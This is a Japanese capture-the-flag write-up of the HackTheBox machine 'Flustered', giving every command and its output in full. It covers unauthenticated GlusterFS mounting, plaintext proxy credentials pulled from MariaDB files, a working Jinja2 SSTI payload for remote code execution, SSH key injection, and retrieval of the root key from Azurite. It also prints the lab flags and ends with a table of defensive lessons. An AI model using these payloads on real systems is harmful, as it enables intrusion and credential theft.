HackTheBox: Flustered — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/111/3128/24007/49152/49153
→
22/80/111/3128/24007/49152/49153
GlusterFS 未認証マウント
vol2 → MariaDB生ファイル → Squid資格情報
→
vol2 → MariaDB生ファイル → Squid資格情報
Flask siteurl SSTI
Jinja2 gadget → popen RCE
→
Jinja2 gadget → popen RCE
SSL証明書回収+vol1マウント
user.txt直読み+authorized_keys注入
→
user.txt直読み+authorized_keys注入
jennifer SSH
user.txt ✓
→
user.txt ✓
/var/backups/key
Azure Storage account key
→
Azure Storage account key
SSHポートフォワード
docker0内 Azurite:10000
→
docker0内 Azurite:10000
root.key blob取得 → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポート・バージョンスキャン
BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.50.244
RESULT
Nmap scan report for flustered (10.129.50.244) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp open http nginx 1.14.2 |_http-title: steampunk-era.htb - Coming Soon 111/tcp open rpcbind 2-4 (RPC #100000) 3128/tcp open http-proxy Squid http proxy 4.6 |_http-title: ERROR: The requested URL could not be retrieved 49152/tcp open ssl/unknown | ssl-cert: Subject: commonName=flustered.htb 49153/tcp open rpcbind Service Info: OS: Linux
BASH
nmap -Pn -p 24007 10.129.50.244
RESULT
PORT STATE SERVICE
24007/tcp open unknown ← GlusterFS 管理デーモン
🚨
重要発見:
24007(GlusterFS Management Daemon)+
49152/49153(GlusterFS RPC 動的ポート)+ 3128(Squid Proxy)の組み合わせ。
SSL証明書CNから flustered.htb というホスト名も判明。80番はまだ「Coming Soon」の
プレースホルダページのみ。
PHASE 2
GlusterFS 未認証マウント & Squid資格情報漏洩
ボリューム一覧の取得(認証不要)
BASH
gluster --remote-host=10.129.50.244 volume list
RESULT
vol1 vol2
⚠️
認証なしでボリューム一覧を取得できる時点で GlusterFS の設定不備(未認証アクセス許可)。
vol2 のマウント(ブリック名解決のため /etc/hosts が必須)
BASH
echo "10.129.50.244 flustered flustered.htb steampunk-era.htb" >> /etc/hosts mkdir -p /mnt/flustered_vol2 mount -t glusterfs flustered:/vol2 /mnt/flustered_vol2
RESULT
flustered:/vol2 on /mnt/flustered_vol2 type fuse.glusterfs (rw,relatime,...)
$ ls -la /mnt/flustered_vol2/
drwx------ 6 cups-pk-helper lpadmin 4096 mysql/ ...
-rw-rw---- 1 cups-pk-helper lpadmin ibdata1
-rw-rw---- 1 cups-pk-helper lpadmin ibtmp1
drwx------ 2 cups-pk-helper lpadmin squid/
ℹ️
vol2 の中身は MariaDB のデータディレクトリ (
/var/lib/mysql) がそのまま見える。
squid/ ディレクトリがあり、Squid の認証情報を保持するテーブルが疑われる。
MariaDB を一切起動せず strings だけで平文パスワードを直接抽出
BASH
strings -a /mnt/flustered_vol2/squid/passwd.ibd
RESULT
infimum supremum lance.friedman o>WJ5-jD<5^m3 Lance Friedman
✅
InnoDB の
.ibd ファイルはページ構造化されているが、可変長カラムの値はほぼ生テキストで
埋め込まれているため strings だけで Squid Basic認証の平文資格情報
lance.friedman : o>WJ5-jD<5^m3 を読み出せた(MariaDBサーバ・Dockerコンテナ起動は一切不要)。
Squid プロキシ認証の確認
BASH
curl -s --proxy "http://lance.friedman:o>WJ5-jD<5^m3@10.129.50.244:3128" http://127.0.0.1/ -D -
RESULT
HTTP/1.1 200 OK Server: nginx/1.14.2 X-Cache: HIT from flustered Via: 1.1 flustered (squid/4.6) <title>Welcome to nginx!</title> (内部専用デフォルトvhost)
BASH
curl -s --proxy "http://lance.friedman:o>WJ5-jD<5^m3@10.129.50.244:3128" http://127.0.0.1/app/app.py
RESULT (app.py ソース)
from flask import Flask, render_template_string, url_for, json, request
app = Flask(__name__)
def getsiteurl(config):
if config and "siteurl" in config:
return config["siteurl"]
else:
return "steampunk-era.htb"
@app.route("/", methods=['GET', 'POST'])
def index_page():
config = request.json
template = f'''
<html><head>
<title>{getsiteurl(config)} - Coming Soon</title>
</head><body style="background-image: url('{url_for('static', filename='...')}')"></body></html>
'''
return render_template_string(template)
🚨
siteurl の値が f-string でテンプレート文字列に直接連結された後
render_template_string() に渡されている ── 典型的な Jinja2 SSTI。
PHASE 3
Flask siteurl SSTI → RCE (www-data)
重要な発見:Flaskアプリ自体はポート80へ直接到達可能
BASH
curl -s -X POST "http://10.129.50.244/" -H "Content-Type: application/json" -d '{"siteurl": "POC-test"}'
RESULT
<title>POC-test - Coming Soon</title>
ℹ️
Squid プロキシ越しにのみ内部到達可能とされる
/app パス列挙とは別に、
脆弱な Flask アプリ本体(ルート /)は実際には プロキシ無しで直接インターネットから
到達可能だった。Squid資格情報はソース確認(gobuster等での列挙)には有用だが、
RCE自体はターゲットのポート80を直接叩けば成立する。
Jinja2 SSTI ペイロード — サブクラスgadget + popen() で出力を直接回収
PYTHON (ペイロード構造)
# siteurl に渡す Jinja2 テンプレート。os.system() ではなく os.popen().read() を使うことで
# コマンド出力を HTTPレスポンスの <title> にそのまま反映させ、リバースシェル無しでRCE出力を回収する。
payload = (
'{% for x in ().__class__.__base__.__subclasses__() %}'
'{% if "warning" in x.__name__ %}'
'{{x()._module.__builtins__["__import__"]("os").popen('
'"echo <base64(cmd)>|base64 -d|bash 2>&1"'
').read()}}'
'{% endif %}{% endfor %}'
)
body = json.dumps({"siteurl": payload})
BASH
curl -s -X POST "http://10.129.50.244/" -H "Content-Type: application/json" -d "$body"
RESULT (cmd = “id”)
<title>uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Coming Soon</title>
✅
RCE成功! コマンドは base64 でエンコードして siteurl に埋め込み、対象側で
base64 -d | bash にパイプして実行することでクォート地獄を回避。任意コマンドの標準出力を
そのままHTTPレスポンスから読み取れる。
PHASE 4
SSL証明書回収 → vol1マウント → user.txt 取得
vol1 が SSL 必須である理由の確認
BASH
# SSTI RCE 経由 ls -la /etc/ssl/
RESULT
-rw-r--r-- 1 root root 4060 glusterfs.ca -rw-r--r-- 1 root root 3243 glusterfs.key -rw-r--r-- 1 root root 1822 glusterfs.pem
SSTI RCE 経由で証明書3点を回収しローカルの /etc/ssl/ に配置
BASH
# SSTI RCE で cat /etc/ssl/glusterfs.{ca,key,pem} を実行し
# HTTPレスポンス <title> からそれぞれの内容を回収 → 攻撃機の /etc/ssl/ にコピー
cp glusterfs.ca /etc/ssl/glusterfs.ca
cp glusterfs.key /etc/ssl/glusterfs.key
cp glusterfs.pem /etc/ssl/glusterfs.pem
RESULT
-----BEGIN CERTIFICATE----- MIIDETCCAfmgAwIBAgIUK/baGbGqGJA1fxR2XPNzPq00UIowDQYJKoZIhvcNAQEL ... (glusterfs.ca / glusterfs.key / glusterfs.pem すべて取得成功)
vol1 マウント → user.txt を直接読み取り
BASH
mkdir -p /mnt/flustered_vol1 mount -t glusterfs flustered:/vol1 /mnt/flustered_vol1 ls -la /mnt/flustered_vol1/ cat /mnt/flustered_vol1/user.txt
RESULT
flustered:/vol1 on /mnt/flustered_vol1 type fuse.glusterfs (rw,...)
drwxr-x--- 5 jennifer jennifer .
-r-------- 1 jennifer jennifer user.txt
drwx------ 2 jennifer jennifer .ssh/
4c6e6bc7d2911981f362a2733e0286b5
⚠️
user.txt は -r--------(所有者のみ読み取り可)だが、GlusterFS の
default_permissions マウントオプション下でも root(uid=0)としてマウントしている
限りカーネルのパーミッションチェックを素通りできるため、所有者以外であるはずの root から
直接読み取れてしまった。
SSH公開鍵を authorized_keys へ書き込み → SSHログイン確立
BASH
ssh-keygen -t ed25519 -f flustered_key -N "" -q cat flustered_key.pub > /mnt/flustered_vol1/.ssh/authorized_keys chmod 600 /mnt/flustered_vol1/.ssh/authorized_keys # 実ユーザ名は /etc/passwd から動的判定(SSTI RCE経由) cat /etc/passwd | grep -v nologin | grep -v false # → jennifer:x:1000:1000:,,,:/home/jennifer:/bin/bash ssh -i flustered_key jennifer@10.129.50.244 "id; cat user.txt"
RESULT
uid=1000(jennifer) gid=1000(jennifer) groups=1000(jennifer)
4c6e6bc7d2911981f362a2733e0286b5
🚨
GlusterFS 側にファイルオーナーシップ以外の追加認証機構が無いため、root でのマウント経由で
任意ユーザーの
~/.ssh/authorized_keys を書き換えるだけでパスワード無しSSHアクセスを
確立できてしまう。
user.txt — jennifer
4c6e6bc7d2911981f362a2733e0286b5
PHASE 5
権限昇格の下調べ — グループ読み取り可能ファイル & Dockerネットワーク
jennifer グループが読める自ホーム外ファイルを探索
BASH
ssh -i flustered_key jennifer@10.129.50.244 \ "find / -group jennifer 2>/dev/null | grep -v -e '^/sys' -e '^/run' -e '^/proc' -e '^/home/jennifer'"
RESULT
/var/backups/key
/gluster/bricks/brick1/vol1 (GlusterFSブリック実体 — vol1の裏側)
BASH
ssh -i flustered_key jennifer@10.129.50.244 "cat /var/backups/key"
RESULT
FMinPqwWMtEmmPt2ZJGaU5MVXbKBtaFyqP0Zjohpoh39Bd5Q8vQUjztVfFphk73+I+HCUvNY23lUabd7Fm8zgQ==
ℹ️
一見 base64 エンコード済みデータに見えるが、デコードは不要で、この文字列自体が
Azure Storage の
AccountKey そのもの(Azure の AccountKey 形式は元々base64表現)。
Docker ブリッジネットワーク内のコンテナを発見
BASH
ssh -i flustered_key jennifer@10.129.50.244 "ip a | grep -A2 docker; ip route"
RESULT
docker0: inet 172.17.0.1/16
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1
BASH
ssh -i flustered_key jennifer@10.129.50.244 \ 'for i in $(seq 2 5); do timeout 1 bash -c "echo > /dev/tcp/172.17.0.$i/10000" 2>/dev/null \ && echo "172.17.0.$i:10000 OPEN"; done'
RESULT
172.17.0.2:10000 OPEN
🚨
内部専用(外部非公開)Docker コンテナが 10000/tcp を提供している。ポート番号 10000 は
Azure Storage エミュレータ Azurite の既定 Blob サービスポート。
PHASE 6
SSHポートフォワード → Azurite blob “root.key” → root.txt
SSH ローカルポートフォワードでコンテナに到達可能にする
BASH
ssh -i flustered_key -f -N -L 127.0.0.1:10000:172.17.0.2:10000 jennifer@10.129.50.244 curl -s http://127.0.0.1:10000/
RESULT
<Error>
<Code>InvalidQueryParameterValue</Code>
...
</Error> ← Azurite特有のエラー応答(サービス到達を確認)
azure-storage-blob SDK で blob をダウンロード
PYTHON
from azure.storage.blob import BlobServiceClient
account_key = 'FMinPqwWMtEmmPt2ZJGaU5MVXbKBtaFyqP0Zjohpoh39Bd5Q8vQUjztVfFphk73+I+HCUvNY23lUabd7Fm8zgQ=='
connect_str = (
"DefaultEndpointsProtocol=http;AccountName=jennifer;"
f"AccountKey={account_key};"
"BlobEndpoint=http://127.0.0.1:10000/jennifer;" # ← devstoreaccount1 ではなく実アカウント名!
)
svc = BlobServiceClient.from_connection_string(connect_str, api_version='2019-12-12')
container = svc.get_container_client('ssh-keys')
print([b.name for b in container.list_blobs()])
data = container.get_blob_client('root.key').download_blob().readall()
print(data.decode())
RESULT (最初の試行: devstoreaccount1 使用)
===== ERROR =====
Invalid storage account.
Code: InvalidOperation
⚠️
ハマりポイント: Azurite の既定アカウント名は
devstoreaccount1 だが、
このコンテナは AZURITE_ACCOUNTS 等でカスタムアカウント jennifer を
構成済み。BlobEndpoint のURLパスセグメントには 接続文字列の
AccountName と同じ値(今回は “jennifer”)を使う必要がある
(既定の “devstoreaccount1” のままだと “Invalid storage account” で拒否される)。
RESULT (BlobEndpoint を /jennifer に修正後)
containers: ['documents', 'ssh-keys']
blobs: ['jennifer.key', 'root.key']
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
... (省略) ...
TGdaVjEDWhNuypttFQAAAA5yb290QGZsdXN0ZXJlZAECAw==
-----END OPENSSH PRIVATE KEY-----
✅
root の SSH秘密鍵を取得成功! コンテナ内 Azurite が誤って root 権限昇格用の
秘密鍵をそのまま blob として保存していた。
root.key で SSH → root.txt 取得
BASH
chmod 600 root.key ssh -i root.key root@10.129.50.244 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
36d780097c8d6e95f502f5c566aac36b
root.txt — root@flustered
36d780097c8d6e95f502f5c566aac36b
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — jennifer@flustered
4c6e6bc7d2911981f362a2733e0286b5
root.txt — root@flustered
36d780097c8d6e95f502f5c566aac36b
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| GlusterFS未認証アクセス | gluster daemon (24007/49152/49153) | 任意ボリュームのマウント・生データ読み取り | Critical | 認証なしで volume list / mount が可能。MariaDBデータディレクトリを丸ごと露出 |
| 生データファイルからの資格情報漏洩 | MariaDB InnoDB (.ibd) ファイル | Squidプロキシ平文資格情報の漏洩 | High | DBサーバを起動せず strings だけで squid.passwd テーブルの内容を直接読み出し |
| Flask/Jinja2 SSTI | app.py (siteurl パラメータ) | リモートコード実行 (www-data) | Critical | render_template_string(f”…{ユーザ入力}…”) に未サニタイズの入力を連結。サブクラスgadgetでRCE |
| GlusterFS root書込みによる認証バイパス | vol1 (jennifer ホームディレクトリ) | SSH認証情報の追加(横展開) | High | root権限でのFUSEマウントがサーバ側の追加認証を伴わず、任意ユーザのauthorized_keysを改竄可能 |
| グループ読み取り可能な機密情報 | /var/backups/key | Azure Storage account key漏洩 | Medium | jenniferグループに読み取り権限のあるバックアップファイルにクラウドAPIキーを平文保存 |
| 内部コンテナへの機密情報平文保管 | Azurite (Docker, 172.17.0.2:10000) | root SSH秘密鍵の漏洩 | High | SSHポートフォワード経由でAzuriteのblobストレージから “root.key” をそのままダウンロード |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap バージョン・スクリプトスキャン | 22/80/111/3128/24007/49152/49153、flustered.htb判明 |
| 2 | GlusterFS調査 | 未認証volume list + mount + strings | Squid資格情報 lance.friedman:o>WJ5-jD<5^m3、app.py ソース |
| 3 | SSTI RCE | Jinja2 サブクラスgadget + os.popen() | www-data RCE(HTTPレスポンス経由で出力直接回収) |
| 4 | SSL回収+vol1 | RCEでcert読取→ローカル配置→vol1マウント | user.txt + jennifer SSHアクセス確立 |
| 5 | 権限調査 | find -group + docker0サブネットスキャン | Azure account key、Azuriteコンテナ(172.17.0.2:10000)発見 |
| 6 | Azurite奪取 | SSHポートフォワード + azure-storage-blob SDK | root.txt(root.key blob → SSH) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| GlusterFSが認証なしでボリューム一覧・マウントに応答する | auth.allow でクライアントIPを制限し、server.ssl をクライアント証明書検証込みで必須化する。管理ポート(24007)を信頼できるネットワークセグメントに限定する。 |
| MariaDBの生データファイルがGlusterFS経由で直接読み取り可能 | データベースファイルをアプリ用の共有ストレージと同一ボリュームに置かない。少なくとも保存時暗号化(encryption at rest)を有効化する。 |
ユーザー入力を直接 render_template_string() に連結(Jinja2 SSTI) |
ユーザー入力をテンプレートに渡さず、変数として render_template(name, siteurl=...) の形で受け渡す。sandboxed Jinja2 環境の使用も検討する。 |
| GlusterFSクライアントのroot権限が任意ユーザーファイルの改竄を可能にする | server.root-squash を有効化し、クライアント側rootをサーバ側の非特権uidへマッピングする。 |
| クラウドAPIキーがグループ読み取り可能な平文バックアップファイルに保存 | シークレットは Vault 等の専用シークレット管理システムで管理し、ファイルシステム上に平文保存しない。最小権限の原則でパーミッションを 600 に制限する。 |
| 内部限定のはずのDockerコンテナ(Azurite)にSSH経由で到達し、root SSH秘密鍵を平文取得できた | 本番相当のSSH秘密鍵をAzurite/S3等のオブジェクトストレージに保存しない。コンテナ間通信も認証・ネットワークポリシーで制限する。 |

